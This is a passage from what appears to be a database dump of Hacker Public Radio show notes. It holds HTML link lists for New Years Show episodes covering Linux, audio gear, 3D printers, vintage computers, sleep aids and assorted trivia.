Song.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Doogie_Howser,_M.D.\">wikipedia:</a>\nDoogie Howser, M.D. is an American medical sitcom that ran for four\nseasons on ABC from September 19, 1989, to March 24, 1993, totaling 97\nepisodes.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Google%2B\">wikipedia:</a>\nGoogle+ (pronounced and sometimes written as Google Plus; sometimes\ncalled G+) was a social network owned and operated by Google. The\nnetwork was launched on June 28, 2011, in an attempt to challenge other\nsocial networks, linking other Google products like Google Drive,\nBlogger and YouTube.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Google_Hangouts\">wikipedia:</a>\nGoogle Hangouts is a discontinued cross-platform instant messaging\nservice developed by Google.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Mr._Robot\">wikipedia:</a> Mr.\nRobot is an American drama thriller television series created by Sam\nEsmail for USA Network.</li>\n<li><a href=\"https://www.kali.org/\">kali:</a> Kali Linux is an\nopen-source, Debian-based Linux distribution geared towards various\ninformation security tasks, such as Penetration Testing, Security\nResearch, Computer Forensics and Reverse Engineering.</li>\n<li><a href=\"https://crunchbang.org/\">crunchbang:</a> CrunchBang was a\nDebian GNU/Linux based distribution offering a great blend of speed,\nstyle and substance.</li>\n<li><a href=\"https://www.bunsenlabs.org/\">bunsenlabs:</a> BunsenLabs\nLinux Beryllium is a distribution offering a light-weight and easily\ncustomizable Openbox desktop.</li>\n<li><a href=\"https://hackerpublicradio.org/contribute.php\">HPR:</a> So\nyou want to do a podcast?</li>\n<li><a href=\"https://www.pcbway.com/\">pcbway:</a> Professional PCB\nprototype with guaranteed quality for PCB prototype, We can produce\nhigh-quality PCBs with competitive price both for prototypes and low\nvolumes.</li>\n<li><a href=\"https://www.mouser.com/\">mouser:</a> Mouser Electronics\nstocks the world&#x2019;s widest selection of semiconductors and electronic\ncomponents.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Analog_computer\">wikipedia:</a> An\nanalog computer or analogue computer is a type of computer that uses the\ncontinuous variation aspect of physical phenomena such as electrical,\nmechanical, or hydraulic quantities to model the problem being\nsolved.</li>\n<li><a href=\"https://olfconference.org/about/\">olfconference:</a> OLF\n(formerly known as Ohio LinuxFest) is a grassroots conference for the\nGNU/Linux/Open Source Software/Free Software community that started in\n2003 as a large inter-LUG (Linux User Group) meeting and has grown\nsteadily since.</li>\n<li><a href=\"https://joinmastodon.org/\">joinmastodon:</a> Mastodon is\nfree and open-source software for running self-hosted social networking\nservices.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Whose_Line_Is_It_Anyway%3F\">wikipedia:</a>\nWhose Line Is It Anyway? is a short-form improvisational comedy show\noriginating as a British radio programme, before moving to British\ntelevision in 1988.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Doctor_of_Philosophy\">wikipedia:</a>\nA Doctor of Philosophy (PhD, Ph.D., or DPhil; Latin: philosophiae doctor\nor doctor philosophiae) is the most common degree at the highest\nacademic level awarded following a course of study.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Deadpan\">wikipedia:</a>\nDeadpan, dry humour, or dry-wit humour is the deliberate display of\nemotional neutrality or no emotion, commonly as a form of comedic\ndelivery to contrast with the ridiculousness or absurdity of the subject\nmatter.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Alzheimer%27s_disease\">wikipedia:</a>\nAlzheimer\'s disease (AD) is a neurodegenerative disease that usually\nstarts slowly and progressively worsens. It is the cause of 60&#x2013;70% of\ncases of dementia.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Sarcasm\">wikipedia:</a>\nSarcasm is the caustic use of words, often in a humorous way, to mock\nsomeone or something.</li>\n<li><a\nhref=\"https://distrohoppersdigest.blogspot.com/\">distrohoppersdigest:</a>\nWe are three Blokes who love Linux and trying out new stuff.</li>\n<li><a href=\"https://www.vim.org/\">vim:</a> Vim - the ubiquitous text\neditor.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Vi\">wikipedia:</a> vi\n(pronounced as distinct letters, /&#x2CC;vi&#x2D0;&#x2C8;a&#x26A;/)[1] is a screen-oriented text\neditor originally created for the Unix operating system.</li>\n<li><a href=\"https://www.nano-editor.org/\">nano:</a> Text Editor\nHomepage.</li>\n<li><a href=\"https://www.gnu.org/software/emacs/\">gnu:</a>\n<code>emacs</code> is an extensible, customizable, free/libre text\neditor &#x2014; and more.</li>\n<li><a href=\"https://kate-editor.org/\">kate:</a> Kate is packed with\nfeatures that will make it easier for you to view and edit all your text\nfiles.</li>\n<li><a href=\"https://help.gnome.org/users/gedit/stable/\">gnome:</a>\nWelcome to the gedit help guide.</li>\n<li><a\nhref=\"https://apps.microsoft.com/store/detail/windows-notepad/9MSMLRH6LZF3?hl=en-us&amp;gl=us\">microsoft:</a>\nWindows Notepad.</li>\n<li><a\nhref=\"https://www.microsoft.com/en-us/microsoft-365/onenote/digital-note-taking-app?ms.url=onenotecom&amp;rtc=1\">microsoft:</a>\nMicrosoft OneNote. Your digital notebook.</li>\n<li><a\nhref=\"https://support.microsoft.com/en-us/windows/use-snipping-tool-to-capture-screenshots-00246869-1843-655f-f220-97299b865f6b\">microsoft:</a>\nUse Snipping Tool to capture screenshots.</li>\n<li><a href=\"https://www.gimp.org/\">gimp:</a> GIMP is a free and\nopen-source raster graphics editor used for image manipulation and image\nediting, free-form drawing, transcoding between different image file\nformats, and more specialized tasks.</li>\n<li><a href=\"https://krita.org/\">krita:</a> Krita is a professional FREE\nand open source painting program.</li>\n<li><a\nhref=\"https://www.urbandictionary.com/define.php?term=big%20spoon\">urbandictionary:</a>\nbig spoon.</li>\n<li><a href=\"https://birddogwhiskey.com/\">birddogwhiskey:</a> Bird Dog\nWhiskey.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Sambuca\">wikipedia:</a>\nSambuca is an Italian anise-flavoured, usually colourless, liqueur.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Amaretto\">wikipedia:</a>\nAmaretto is a sweet Italian liqueur that originated in Saronno.</li>\n<li><a\nhref=\"https://www.newyorker.com/humor/daily-shouts/cooties-a-medical-guide\">newyorker:</a>\nCooties: A Medical Guide.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Pok%C3%A9mon\">wikipedia:</a>\nPok&#xE9;mon (an abbreviation for Pocket Monsters in Japan) is a Japanese\nmedia franchise managed by The Pok&#xE9;mon Company, founded by Nintendo,\nGame Freak, and Creatures.</li>\n<li><a\nhref=\"https://www.faa.gov/uas/commercial_operators/part_107_airspace_authorizations\">faa:</a>\nPart 107 Airspace Authorizations.</li>\n<li><a\nhref=\"http://siglerpedia.scottsigler.com/index.php/Galactic_Football_League_(series)\">scottsigler:</a>\nGalactic Football League (series).</li>\n<li><a href=\"https://www.audible.com/\">audible:</a> Try Audible free for\n30 days! Start listening to best-selling audiobooks, exclusive\nOriginals, and free podcasts with the Audible app.</li>\n<li><a href=\"https://www.johnconroe.com/books/zone-war/\">johnconroe:</a>\nZone War.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Nathan_Lowell\">wikipedia:</a>\nNathan Lowell is a science fiction writer mostly known for his The\nGolden Age of the Solar Clipper series.</li>\n<li><a\nhref=\"https://michaelsullivan-author.com/books/\">michaelsullivan:</a>\nWelcome to the Worlds of Michael J. Sullivan.</li>\n<li><a\nhref=\"https://www.koreaherald.com/view.php?ud=20211118000777&amp;np=2&amp;mp=1\">koreaherald:</a>\ncrab migration season in korea.</li>\n<li><a\nhref=\"https://duckduckgo.com/?q=tarantula+migration&amp;t=ffab&amp;iax=videos&amp;ia=videos&amp;iai=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DYqtTicHZDQM\">duckduckgo:</a>\nTarantula migration.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Candiru_(fish)\">wikipedia:</a>\nCandiru (fish).</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Ballooning_(spider)\">wikipedia:</a>\nBallooning, sometimes called kiting, is a process by which spiders, and\nsome other small invertebrates, move through the air by releasing one or\nmore gossamer threads to catch the wind, causing them to become airborne\nat the mercy of air currents and electric fields.</li>\n<li><a\nhref=\"https://www.dictionary.com/e/slang/sportsball/\">dictionary:</a>\nSportsball is a mildly critical or humorous term used by people who\nadmit they don&#x2019;t know or care about sports.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Thelyphonida\">wikipedia:</a>\nThelyphonida is an arachnid order comprising invertebrates commonly\nknown as whip scorpions or vinegaroons (also spelled vinegarroons and\nvinegarones).</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Solifugae\">wikipedia:</a>\nSolifugae is an order of animals in the class Arachnida known variously\nas camel spiders, wind scorpions, sun spiders, or solifuges.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Banana_spider\">wikipedia:</a>\nBanana spider (many types of banana spider).</li>\n<li><a href=\"https://www.tullamoredew.com/en-gb/\">tullamoredew:</a>\nTullamore Dew, rendered in most branding as Tullamore D.E.W., is a brand\nof Irish whiskey produced by William Grant &amp; Sons.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Yellowstone_Caldera\">wikipedia:</a>\nThe Yellowstone Caldera, sometimes referred to as the Yellowstone\nSupervolcano, is a volcanic caldera and supervolcano in Yellowstone\nNational Park in the Western United States.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Superstition\">wikipedia:</a>\nA superstition is any belief or practice considered by non-practitioners\nto be irrational or supernatural, attributed to fate or magic, perceived\nsupernatural influence, or fear of that which is unknown.</li>\n<li><a href=\"https://www.murdermittens.com/\">murdermittens:</a> Look at\nall dem cattos!</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Feral_cat\">wikipedia:</a> A\nferal cat or a stray cat is an unowned domestic cat (Felis catus) that\nlives outdoors and avoids human contact: it does not allow itself to be\nhandled or touched, and usually remains hidden from humans.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/List_of_cat_breeds\">wikipedia:</a>\nThe following list of cat breeds includes only domestic cat breeds and\ndomestic and wild hybrids.</li>\n<li><a href=\"https://www.skullcandy.com/\">skullcandy:</a> Discover life\nat full volume with headphones, earbuds, speakers &amp; more.</li>\n<li><a href=\"https://whataburger.com/home\">whataburger:</a> The\nWhataburger.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Zardoz\">wikipedia:</a> Zardoz\nis a 1974 science fantasy film written, produced, and directed by John\nBoorman and starring Sean Connery and Charlotte Rampling.</li>\n<li><a\nhref=\"https://usa.1more.com/products/triple-driver-in-ear-headphones\">1more:</a>\n1MORE Triple Driver In-Ear Headphones.</li>\n<li><a\nhref=\"https://www.lg.com/us/bluetooth-headsets-headphones/lg-HBS-770-Black-tone-pro\">lg:</a>\nLG TONE PRO Wireless Stereo Headset.</li>\n<li><a\nhref=\"https://duckduckgo.com/?q=skullcandy+2xl+headphones&amp;t=ffab&amp;iax=images&amp;ia=images\">duckduckgo:</a>\nskullcandy 2xl headphones.</li>\n<li><a\nhref=\"https://components101.com/connectors/35mm-audio-jack\">components101:</a>\n3.5mm Audio Jack (Male).</li>\n<li><a href=\"https://www.tllts.org/\">The Linux link tech show</a> The\nLinux Link Tech Show is one of the longest running Linux podcasts in the\nworld.</li>\n<li><a href=\"https://hak5.org/\">hak5:</a> Hak5 advances InfoSec through\naward winning podcasts, leading pentest gear and an inclusive community\n&#x2014; where all hackers belong.</li>\n<li><a\nhref=\"https://www.sweetwater.com/c1045--Earphones?highlight=Aonic215Wh&amp;mrkgadid=3251364885&amp;mrkgcl=28&amp;mrkgen=mpla&amp;mrkgbflag=0&amp;mrkgcat=livesound&amp;lighting&amp;acctid=21700000001645388&amp;dskeywordid=92700046997885165&amp;lid=92700046997885165&amp;ds_s_kwgid=58700005286965703&amp;ds_s_inventory_feed_id=97700000007215323&amp;ds_a_cid=405527921&amp;ds_a_caid=9232356410&amp;ds_a_agid=100560912424&amp;ds_a_lid=pla-924132551967&amp;dsproductgroupid=4581664953824924&amp;product_id=Aonic215Wh&amp;prodctry=US&amp;prodlang=EN&amp;channel=Online&amp;storeid=&amp;device=c&amp;network=s&amp;matchtype=e&amp;adpos=largenumber&amp;locationid=&amp;creative=&amp;targetid=pla-4581664953824924&amp;campaignid=283268302&amp;awsearchcpc=1&amp;msclkid=a0702e293bf0186d0bd84df9bc958349&amp;utm_source=bing&amp;utm_medium=cpc&amp;utm_campaign=aaShopping%20-%20Core%20-%20Live%20Sound%20%26%20Lighting&amp;utm_term=4581664953824924&amp;utm_content=Live%20Sound%20%26%20Lighting%20-%20Live%20Sound%20Monitoring&amp;gclid=a0702e293bf0186d0bd84df9bc958349&amp;gclsrc=3p.ds\">sweetwater:</a>\nShure AONIC 215 Sound Isolating Earphones.</li>\n<li><a\nhref=\"https://www.creality.com/products/cr-10s-pro-v2-3d-printer\">creality:</a>\nCR-10S Pro V2 3D Printer.</li>\n<li><a\nhref=\"https://duckduckgo.com/?q=monoprice+maker+select+v2&amp;t=ffab&amp;ia=web\">duckduckgo:</a>\nmonoprice maker select v2 search.</li>\n<li><a\nhref=\"https://www.elegoo.com/products/elegoo-saturn-4k-mono-lcd-3d-printer\">elegoo:</a>\nELEGOO Saturn 4K Mono LCD MSLA Resin 3D Printer.</li>\n<li><a\nhref=\"https://www.anycubic.com/products/anycubic-photon-3d-printer\">anycubic:</a>\nAnycubic Photon.</li>\n<li><a href=\"https://jitsi.org/projects/\">jitsi:</a> Jitsi Free &amp;\nOpen Source Video Conferencing Projects.</li>\n<li><a href=\"https://atari.com/products/classic-joystick\">atari:</a> The\nnew Atari VCS&#x2122; Wireless Classic Joystick includes features like paddle\ncontrol, rumble, LED light effects, and a second fire button to give\nretro gaming new life.</li>\n<li><a\nhref=\"https://www.ebay.com/itm/304650123085?chn=ps&amp;norover=1&amp;mkevt=1&amp;mkrid=711-213727-13078-0&amp;mkcid=2&amp;itemid=304650123085&amp;targetid=4580496732614415&amp;device=c&amp;mktype=&amp;googleloc=&amp;poi=&amp;campaignid=418233788&amp;mkgroupid=1230353745471221&amp;rlsatarget=pla-4580496732614415&amp;abcId=9300542&amp;merchantid=51291&amp;msclkid=c83f01b1d780103f7ee862615970632f\">ebay:</a>\nOEM Original Atari 7800 Pro Line Joystick Controller.</li>\n<li><a\nhref=\"https://www.ebay.com/sch/i.html?_nkw=LG%20HBS-1100&amp;norover=1&amp;mkevt=1&amp;mkrid=711-34000-13078-0&amp;mkcid=2&amp;mkscid=102&amp;keyword=LG%20HBS-1100&amp;crlp=_2-1300-0-1-1&amp;MT_ID=&amp;geo_id=&amp;rlsatarget=kwd-77584427326437:loc-190&amp;adpos=&amp;device=c&amp;mktype=&amp;loc=90406&amp;poi=&amp;abcId=&amp;cmpgn=329883332&amp;sitelnk=&amp;adgroupid=1241348785027247&amp;network=s&amp;matchtype=e&amp;msclkid=052c7d18b5b01975b31f1ec82501b7b1\">ebay:</a>\nLG HBS-1100.</li>\n<li><a\nhref=\"https://www.sony.com/lr/electronics/truly-wireless/wf-xb700\">sony:</a>\nWF-XB700 Wireless Headphones with EXTRA BASS.</li>\n<li><a\nhref=\"https://www.skullcandy.com/shop/headphones/bluetooth-headphones/hesh-3-wireless-experience\">skullcandy:</a>\nskullcandy hesh 3.</li>\n<li><a\nhref=\"https://www.skullcandy.com/crusher-evo-wireless-headphones/\">skullcandy:</a>\nskullcandy crusher.</li>\n<li><a\nhref=\"https://www.samsung.com/us/audio/headphones/in-ear/samsung-level-u-wireless-headphones-black-sapphire-eo-bg920bbebus/\">samsung:</a>\nLevel U Wireless Headphones.</li>\n</ul>\n<p>Thanks To:<br />\nMumble Server: Delwin<br />\nHPR Site/VPS: Joshua Knapp - AnHonestHost.com<br />\nStreams: Honkeymagoo<br />\nEtherPad: HonkeyMagoo<br />\nShownotes by: Sgoti and hplovecraft</p>\n',159,121,1,'CC-BY-SA','hpr,new years,community',0,0,1),
(3864,'2023-05-25','2022-2023 New Years Show Episode 8',7396,'2022 - 2023 new years show where people come together and chat','<h2 id=\"episode-8\">Episode #8</h2>\n<ul>\n<li><p>Telefunken<br />\n<a href=\"https://telefunken.com/\"\nclass=\"uri\">https://telefunken.com/</a><br />\n<a href=\"https://en.wikipedia.org/wiki/Telefunken\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Telefunken</a></p></li>\n<li><p>Sena (motorcycle headphones)<br />\n<a href=\"https://www.sena.com/us-en\"\nclass=\"uri\">https://www.sena.com/us-en</a></p></li>\n<li><p>Cardo (motorcycle headphones)<br />\n<a href=\"https://www.cardosystems.com/products/\"\nclass=\"uri\">https://www.cardosystems.com/products/</a></p></li>\n<li><p>DT 770 Pro Headset<br />\n<a\nhref=\"https://www.soundguys.com/beyerdynamic-dt-770-studio-80ohm-review-15348/\"\nclass=\"uri\">https://www.soundguys.com/beyerdynamic-dt-770-studio-80ohm-review-15348/</a></p></li>\n<li><p>Audio-Technica<br />\n<a href=\"https://www.audio-technica.com/en-us/\"\nclass=\"uri\">https://www.audio-technica.com/en-us/</a></p></li>\n<li><p>Skullcandy<br />\n<a href=\"https://www.skullcandy.com/\"\nclass=\"uri\">https://www.skullcandy.com/</a></p></li>\n<li><p>LG Tone<br />\n<a href=\"https://www.lg.com/us/headphones\"\nclass=\"uri\">https://www.lg.com/us/headphones</a></p></li>\n<li><p>Pine Buds Pro<br />\n<a\nhref=\"https://pine64.com/product/pinebuds-pro-open-firmware-capable-anc-wireless-earbuds/\"\nclass=\"uri\">https://pine64.com/product/pinebuds-pro-open-firmware-capable-anc-wireless-earbuds/</a></p></li>\n<li><p>Acura RSX<br />\n<a href=\"https://acura.fandom.com/wiki/Acura_RSX\"\nclass=\"uri\">https://acura.fandom.com/wiki/Acura_RSX</a></p></li>\n<li><p>Flying Rich<br />\n<a href=\"http://flyingrich.com/\"\nclass=\"uri\">http://flyingrich.com/</a></p></li>\n<li><p>Hyundai Genesis<br />\n<a href=\"https://www.genesis.com/us/en/genesis.html\"\nclass=\"uri\">https://www.genesis.com/us/en/genesis.html</a></p></li>\n<li><p>Dodge Challenger<br />\n<a href=\"https://www.dodge.com/challenger.html\"\nclass=\"uri\">https://www.dodge.com/challenger.html</a></p></li>\n<li><p>Ohio Linux Fest (OLF)<br />\n<a href=\"https://olfconference.org/\"\nclass=\"uri\">https://olfconference.org/</a></p></li>\n<li><p>Subaru BRZ<br />\n<a href=\"https://www.subaru.com/vehicles/brz.html\"\nclass=\"uri\">https://www.subaru.com/vehicles/brz.html</a></p></li>\n<li><p>2009 Triumph America Motorcycle<br />\n<a\nhref=\"https://www.motorcycle.com/specs/triumph/cruiser/2009/america/base.html\"\nclass=\"uri\">https://www.motorcycle.com/specs/triumph/cruiser/2009/america/base.html</a></p></li>\n<li><p>South East Linux Fest<br />\n<a href=\"https://southeastlinuxfest.org/\"\nclass=\"uri\">https://southeastlinuxfest.org/</a></p></li>\n<li><p>/dev/random Shows<br />\n<a href=\"https://archive.org/details/devrandom\"\nclass=\"uri\">https://archive.org/details/devrandom</a></p></li>\n<li><p>Saturn Sky<br />\n<a href=\"https://en.wikipedia.org/wiki/Saturn_Sky\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Saturn_Sky</a></p></li>\n<li><p>Chevrolet Corvair<br />\n<a href=\"https://en.wikipedia.org/wiki/Chevrolet_Corvair\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Chevrolet_Corvair</a></p></li>\n<li><p>Phone Phreaking<br />\n<a href=\"https://en.wikipedia.org/wiki/Phreaking\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Phreaking</a></p></li>\n<li><p>Creality CR-10 Mini 3D Printer<br />\n<a\nhref=\"https://creality3d.shop/products/creality3d-cr-10mini-3d-printer-with-resume-print-300x220x300mm\"\nclass=\"uri\">https://creality3d.shop/products/creality3d-cr-10mini-3d-printer-with-resume-print-300x220x300mm</a></p></li>\n<li><p>Bigtreetech SKR Control Board<br />\n<a\nhref=\"https://biqu.equipment/collections/control-board/products/bigtreetech-btt-skr-3-ez-control-board-mainboard-for-3d-printer?variant=39786596171874\"\nclass=\"uri\">https://biqu.equipment/collections/control-board/products/bigtreetech-btt-skr-3-ez-control-board-mainboard-for-3d-printer?variant=39786596171874</a></p></li>\n<li><p>DJI Mini 3 Drone<br />\n<a href=\"https://www.dji.com/mini-3\"\nclass=\"uri\">https://www.dji.com/mini-3</a></p></li>\n<li><p>Thingiverse<br />\n<a href=\"https://www.thingiverse.com/\"\nclass=\"uri\">https://www.thingiverse.com/</a></p></li>\n<li><p>CAT 6 Cable<br />\n<a href=\"https://en.wikipedia.org/wiki/Category_6_cable\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Category_6_cable</a></p></li>\n<li><p>FUBO TV<br />\n<a href=\"https://www.fubo.tv/welcome\"\nclass=\"uri\">https://www.fubo.tv/welcome</a></p></li>\n<li><p>CPAP Machine<br />\n<a\nhref=\"https://my.clevelandclinic.org/health/treatments/22043-cpap-machine\"\nclass=\"uri\">https://my.clevelandclinic.org/health/treatments/22043-cpap-machine</a></p></li>\n<li><p>Trazodone<br />\n<a href=\"https://medlineplus.gov/druginfo/meds/a681038.html\"\nclass=\"uri\">https://medlineplus.gov/druginfo/meds/a681038.html</a><br />\n<a href=\"https://www.healthline.com/health/sleep/trazodone-for-sleep\"\nclass=\"uri\">https://www.healthline.com/health/sleep/trazodone-for-sleep</a></p></li>\n<li><p>Tylenol PM<br />\n<a\nhref=\"https://www.tylenol.com/products/tylenol-pm-extra-strength-caplet\"\nclass=\"uri\">https://www.tylenol.com/products/tylenol-pm-extra-strength-caplet</a></p></li>\n<li><p>Melatonin<br />\n<a\nhref=\"https://www.mayoclinic.org/drugs-supplements-melatonin/art-20363071\"\nclass=\"uri\">https://www.mayoclinic.org/drugs-supplements-melatonin/art-20363071</a></p></li>\n<li><p>Jackery Battery<br />\n<a href=\"https://www.jackery.com/\"\nclass=\"uri\">https://www.jackery.com/</a></p></li>\n<li><p>Resmed Travel CPAP<br />\n<a\nhref=\"https://www.resmed.com/en-us/sleep-apnea/cpap-parts-support/sleep-apnea-full-products-list/cpap-machines/airmini-portable-cpap/\"\nclass=\"uri\">https://www.resmed.com/en-us/sleep-apnea/cpap-parts-support/sleep-apnea-full-products-list/cpap-machines/airmini-portable-cpap/</a></p></li>\n<li><p>Philips Respironics CPAP Recall<br />\n<a\nhref=\"https://www.usa.philips.com/healthcare/e/sleep/communications/src-update\"\nclass=\"uri\">https://www.usa.philips.com/healthcare/e/sleep/communications/src-update</a></p></li>\n<li><p>Excedrin Migraine<br />\n<a href=\"https://www.excedrin.com/products/migraine/\"\nclass=\"uri\">https://www.excedrin.com/products/migraine/</a></p></li>\n<li><p>Mycroft Personal Assistant<br />\n<a href=\"https://mycroft.ai/about-mycroft/\"\nclass=\"uri\">https://mycroft.ai/about-mycroft/</a></p></li>\n<li><p>Merkury Innovations<br />\n<a href=\"https://merkuryinnovations.com/\"\nclass=\"uri\">https://merkuryinnovations.com/</a></p></li>\n<li><p>ZWave<br />\n<a href=\"https://www.z-wave.com/\"\nclass=\"uri\">https://www.z-wave.com/</a></p></li>\n<li><p>ADT Alarm System<br />\n<a href=\"https://www.adt.com/\"\nclass=\"uri\">https://www.adt.com/</a></p></li>\n<li><p>Home Assistant<br />\n<a href=\"https://www.home-assistant.io/\"\nclass=\"uri\">https://www.home-assistant.io/</a></p></li>\n<li><p>ESP 8266<br />\n<a href=\"https://en.wikipedia.org/wiki/ESP8266\"\nclass=\"uri\">https://en.wikipedia.org/wiki/ESP8266</a><br />\n<a href=\"https://www.espressif.com/en/products/socs/esp8266\"\nclass=\"uri\">https://www.espressif.com/en/products/socs/esp8266</a></p></li>\n<li><p>PTSD<br />\n<a\nhref=\"https://www.mayoclinic.org/diseases-conditions/post-traumatic-stress-disorder/symptoms-causes/syc-20355967\"\nclass=\"uri\">https://www.mayoclinic.org/diseases-conditions/post-traumatic-stress-disorder/symptoms-causes/syc-20355967</a></p></li>\n<li><p>Apple IIc<br />\n<a href=\"https://www.apple2history.org/history/ah08/\"\nclass=\"uri\">https://www.apple2history.org/history/ah08/</a></p></li>\n<li><p>Atari 800 XL<br />\n<a href=\"https://www.old-computers.com/museum/computer.asp?c=27\"\nclass=\"uri\">https://www.old-computers.com/museum/computer.asp?c=27</a></p></li>\n<li><p>Eating Rats<br />\n<a href=\"https://foodwine.com/eat-rats/\"\nclass=\"uri\">https://foodwine.com/eat-rats/</a></p></li>\n<li><p>Alligator Meat<br />\n<a href=\"https://en.wikipedia.org/wiki/Alligator_meat\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Alligator_meat</a></p></li>\n<li><p>Polar Bear Club<br />\n<a href=\"https://polarbearclub.org/pb-site/\"\nclass=\"uri\">https://polarbearclub.org/pb-site/</a></p></li>\n<li><p>Slingshot<br />\n<a href=\"https://en.wikipedia.org/wiki/Slingshot\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Slingshot</a></p></li>\n<li><p>Lenovo T430<br />\n<a\nhref=\"https://pcsupport.lenovo.com/us/en/products/laptops-and-netbooks/thinkpad-t-series-laptops/thinkpad-t430/2349\"\nclass=\"uri\">https://pcsupport.lenovo.com/us/en/products/laptops-and-netbooks/thinkpad-t-series-laptops/thinkpad-t430/2349</a></p></li>\n<li><p>ADAFRUIT<br />\n<a href=\"https://www.adafruit.com/\"\nclass=\"uri\">https://www.adafruit.com/</a></p></li>\n<li><p>Raspberry Pi Scarcity<br />\n<a\nhref=\"https://www.raspberrypi.com/news/supply-chain-update-its-good-news/\"\nclass=\"uri\">https://www.raspberrypi.com/news/supply-chain-update-its-good-news/</a></p></li>\n<li><p>ODROID Mini PCs<br />\n<a href=\"https://www.hardkernel.com/\"\nclass=\"uri\">https://www.hardkernel.com/</a></p></li>\n<li><p>Orange Pi 800<br />\n<a\nhref=\"http://www.orangepi.org/html/hardWare/computerAndMicrocontrollers/service-and-support/Orange-Pi800.html\"\nclass=\"uri\">http://www.orangepi.org/html/hardWare/computerAndMicrocontrollers/service-and-support/Orange-Pi800.html</a></p></li>\n<li><p>Docker<br />\n<a href=\"https://www.docker.com/\"\nclass=\"uri\">https://www.docker.com/</a></p></li>\n<li><p>Digital Equipment Corporation<br />\n<a href=\"https://www.wikiwand.com/en/Digital_Equipment_Corporation\"\nclass=\"uri\">https://www.wikiwand.com/en/Digital_Equipment_Corporation</a><br />\n<a\nhref=\"https://www.computerhistory.org/brochures/d-f/digital-equipment-corporation-dec/\"\nclass=\"uri\">https://www.computerhistory.org/brochures/d-f/digital-equipment-corporation-dec/</a></p></li>\n<li><p>SimH<br />\n<a href=\"http://simh.trailing-edge.com/\"\nclass=\"uri\">http://simh.trailing-edge.com/</a></p></li>\n<li><p>PDP-8<br />\n<a href=\"https://en.wikipedia.org/wiki/PDP-8\"\nclass=\"uri\">https://en.wikipedia.org/wiki/PDP-8</a><br />\n<a href=\"https://www.pdp8online.com/\"\nclass=\"uri\">https://www.pdp8online.com/</a></p></li>\n<li><p>PDP-11<br />\n<a href=\"https://en.wikipedia.org/wiki/PDP-11\"\nclass=\"uri\">https://en.wikipedia.org/wiki/PDP-11</a><br />\n<a\nhref=\"https://arstechnica.com/gadgets/2022/03/a-brief-tour-of-the-pdp-11-the-most-influential-minicomputer-of-all-time/\"\nclass=\"uri\">https://arstechnica.com/gadgets/2022/03/a-brief-tour-of-the-pdp-11-the-most-influential-minicomputer-of-all-time/</a></p></li>\n<li><p>DECtape<br />\n<a href=\"https://en.wikipedia.org/wiki/DECtape\"\nclass=\"uri\">https://en.wikipedia.org/wiki/DECtape</a></p></li>\n<li><p>PDP-15<br />\n<a href=\"https://en.wikipedia.org/wiki/PDP-15\"\nclass=\"uri\">https://en.wikipedia.org/wiki/PDP-15</a></p></li>\n<li><p>Commodore Amiga<br />\n<a href=\"https://en.wikipedia.org/wiki/Amiga\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Amiga</a><br />\n<a href=\"https://en.wikipedia.org/wiki/History_of_the_Amiga\"\nclass=\"uri\">https://en.wikipedia.org/wiki/History_of_the_Amiga</a><br />\n<a\nhref=\"https://www.popularmechanics.com/technology/gadgets/a27437/amiga-2017-a1222-tabor/\"\nclass=\"uri\">https://www.popularmechanics.com/technology/gadgets/a27437/amiga-2017-a1222-tabor/</a><br />\n<a href=\"http://theamigamuseum.com/amiga-timeline/\"\nclass=\"uri\">http://theamigamuseum.com/amiga-timeline/</a><br />\n<a\nhref=\"https://arstechnica.com/gadgets/2015/07/the-amiga-turns-30-nobody-had-ever-designed-a-personal-computer-this-way/\"\nclass=\"uri\">https://arstechnica.com/gadgets/2015/07/the-amiga-turns-30-nobody-had-ever-designed-a-personal-computer-this-way/</a></p></li>\n<li><p>BBS - Bulletin Board System<br />\n<a\nhref=\"https://www.theatlantic.com/technology/archive/2016/11/the-lost-civilization-of-dial-up-bulletin-board-systems/506465/\"\nclass=\"uri\">https://www.theatlantic.com/technology/archive/2016/11/the-lost-civilization-of-dial-up-bulletin-board-systems/506465/</a><br />\n<a href=\"https://en.wikipedia.org/wiki/Bulletin_board_system\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Bulletin_board_system</a></p></li>\n<li><p>FidoNET<br />\n<a href=\"https://www.fidonet.org/\"\nclass=\"uri\">https://www.fidonet.org/</a></p></li>\n<li><p>DESQview<br />\n<a href=\"https://en.wikipedia.org/wiki/DESQview\"\nclass=\"uri\">https://en.wikipedia.org/wiki/DESQview</a></p></li>\n<li><p>Sidekick (Borland Personal Information Manager)<br />\n<a href=\"https://en.wikipedia.org/wiki/Borland_Sidekick\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Borland_Sidekick</a></p></li>\n</ul>\n<p>Thanks To:<br />\nMumble Server: 